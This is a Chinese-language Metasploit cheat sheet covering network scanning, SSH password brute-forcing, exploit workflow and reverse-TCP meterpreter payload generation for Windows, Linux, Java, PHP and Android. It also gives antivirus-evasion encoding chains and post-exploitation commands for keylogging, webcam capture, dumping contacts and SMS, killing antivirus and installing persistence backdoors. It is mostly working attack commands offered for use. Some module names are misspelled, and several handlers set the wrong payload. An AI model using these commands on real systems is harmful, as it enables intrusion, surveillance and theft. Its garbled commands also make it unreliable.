Metasploit
MSF简介
Metasploit
- Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF,Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
专业术语
- 渗透攻击(exploit):测试者利用系统、程序或服务的漏洞进行攻击的一个过程
- 攻击载荷(payload):攻击者在目标系统上执行的一段攻击代码,该代码具有反弹连接,创建用户,执行其他系统命令的功能
- shellcode:在目标机器上运行的一段机器指令,成功执行后会返回一个shell
- 模块(module):Metasploit框架中所使用的一段软件代码组件
- 监听器(listener):metasploit中一同来等待接入网络连接的组件
MSF基础知识
启动:
msfconsole
查看命令帮助:
help
启动设置:
启动postgresql:
2.0之前:
service postgresql start
2.0之后:
update-rc.d postgresql enable //kali里的程序都不是开机自启的,将posgresql设为开机自启 msfdb init //第一次需要初始化
service metasploit start
msfconsole
进入后输入
db_status
查看数据库连接状态workspace -a test
创建一个工作台删除 -d 选项
workspace test
进入test工作台使用namp:
db_namp -sS [IP]
扫描主机db_export 1.xml
导出扫描结果db_export 1.xml
导入扫描结果hosts
查看扫描结果
信息搜集
信息搜集
whois查询
msf > whois example.com
msf > whois ip
nmap探测开放端口和服务:
- -sS SYN半开扫描
- -sT TCP半开扫描
- -Pn 不使用ping方式探测主机
- -A 探测服务类型
- -6 开启IPV6扫描
- -O 探测操作系统版本
高级扫描方式
msf > use auxiliary/scanner/ip/ipidseq #IPID序列扫描器
与nmap的-sI -O类似show options set RHOSTS IP段 set RPORT8080 set THREADS 50 run
使用portscan模块
msf > use auxiliary/scanner/postscan/syn
set RHOSTS IP
set THREADS 50
run
特定扫描
例子:
smb_version模块
msf > use auxiliary/scanner/smb/smb_version show options set RHOSTS IP段 set threads 50 run db_hosts -c address,os_flavor
扫mssql主机
msf > use auxiliary/scanner/mssql/mssql_sqlping
show options
set RHOSTS IP段
set thread 50
run
ssh服务器扫描
msf > use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS IP段
set thread 50
run
Telnt扫描
msf > use auxiliary/scanner/telnt/telnt_version
show options
set RHOSTS IP段
set thread 50
run
扫描服务异曲同工…..
扫描ftp匿名登录
msf > use auxiliary/scanner/ftp/anonymous
show options
set RHOSTS IP段
set thread 50
run
扫描局域网内有哪些主机存活
msf > use auxiliary/scanner/discovery/arp_sweep
show options
set RHOSTS IP段
set thread 50
run
扫描网站目录
msf > use auxiliary/scanner/http/dir_scanner
show options
set RHOSTS IP段
set thread 50
run
扫描SNMP主机:
msf > use auxiliary/scanner/snmp/snmp_login
show options
set RHOSTS IP段
set thread 50
run
密码爆破模块
ssh服务口令猜测
use auxiliary/scanner/ssh/ssh_login set RHOSTS IP set USERNAME 路径/user.txt set PASS_FILE 路径/pass.txt set threads 50 exploit
其他的都异曲同工,先使用search找到模块,再使用模块,查看show options,更新参数,开始exploit
漏洞利用模块
常用漏洞利用命令(一)
- search 漏洞利用模块名称
- use 漏洞利用模块
- show options 显示选项
- set [option name] option 设置选项
- show payload
- exploit
常用漏洞利用命令(二)
- show targets 显示版本(os版本)
- set TARGET [target number] 设置目标版本
- exploit
- session -l 列出会话
- session -i [ID] 选择会话
- session -k [ID] 结束会话
- [ctrl]+z把会话放入后台
常用漏洞利用命令(三)
- show auxiliary 显示辅助模块
- use [auxiliary name] 使用
- set [option name] option 设置选项
- run
shellcode使用及免杀
windows
生成shellcode:
msfpayload windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] X > /root/text.exe
侦听shellcode:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST [IP] set LPORT [PORT] exploit
linux
生成shellcode:
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] X > /root/text
侦听shellcode:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST [IP] set LPORT [PORT] exploit
java
生成shellcode:
msfpayload java/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] X >123.jar
侦听shellcode:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST [IP] set LPORT [PORT] exploit
php
生成shellcode:
msfpayload php/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] R >123.php
侦听shellcode:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST [IP] set LPORT [PORT] exploit
android
- 首要条件:
- 网络能够联通,手机木马反连接,手机首先能上网,主机ip需要是外网ip
- 让手机安装生成的apk
生成shellcode:
msfpayload android/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] R >/root/1.apk
侦听shellcode:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST [IP] set LPORT [PORT] exploit dump_contacts #导出电话 dump_sms #导出信息 webcam list #查看有几个摄像头 webcam_snap #拍照
shellcode常规免杀
- 使用多重编码免杀
msfpayload windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -o /root/1.exe
- 加壳免杀
- upx -5
- shellcode代码注入 工具
Meterpreter的使用
Meterpreter基本命令
- 进入目标shell shell
- 截屏 screenshot
- 获取系统运行的平台 sysinfo
- 获取键盘记录
- keyscan_start
- keyscan_dump
- 查看进程 ps
切换进程 migrate [winlogon.exe 进程号] (长期附着在系统上)
进程迁移 run post/windows/manage/migrate
- 关闭cmd run killav
- 查看目标机所有流量 run packetrecorder -i 1
- 提取系统信息 run scraper
持久控制PC
run persistence -X -i 50 -p [port] -r [IP]
- msf侦听
持久控制服务器
- 前提:服务器系统
- run metsvc -A 安装后门
- msf侦听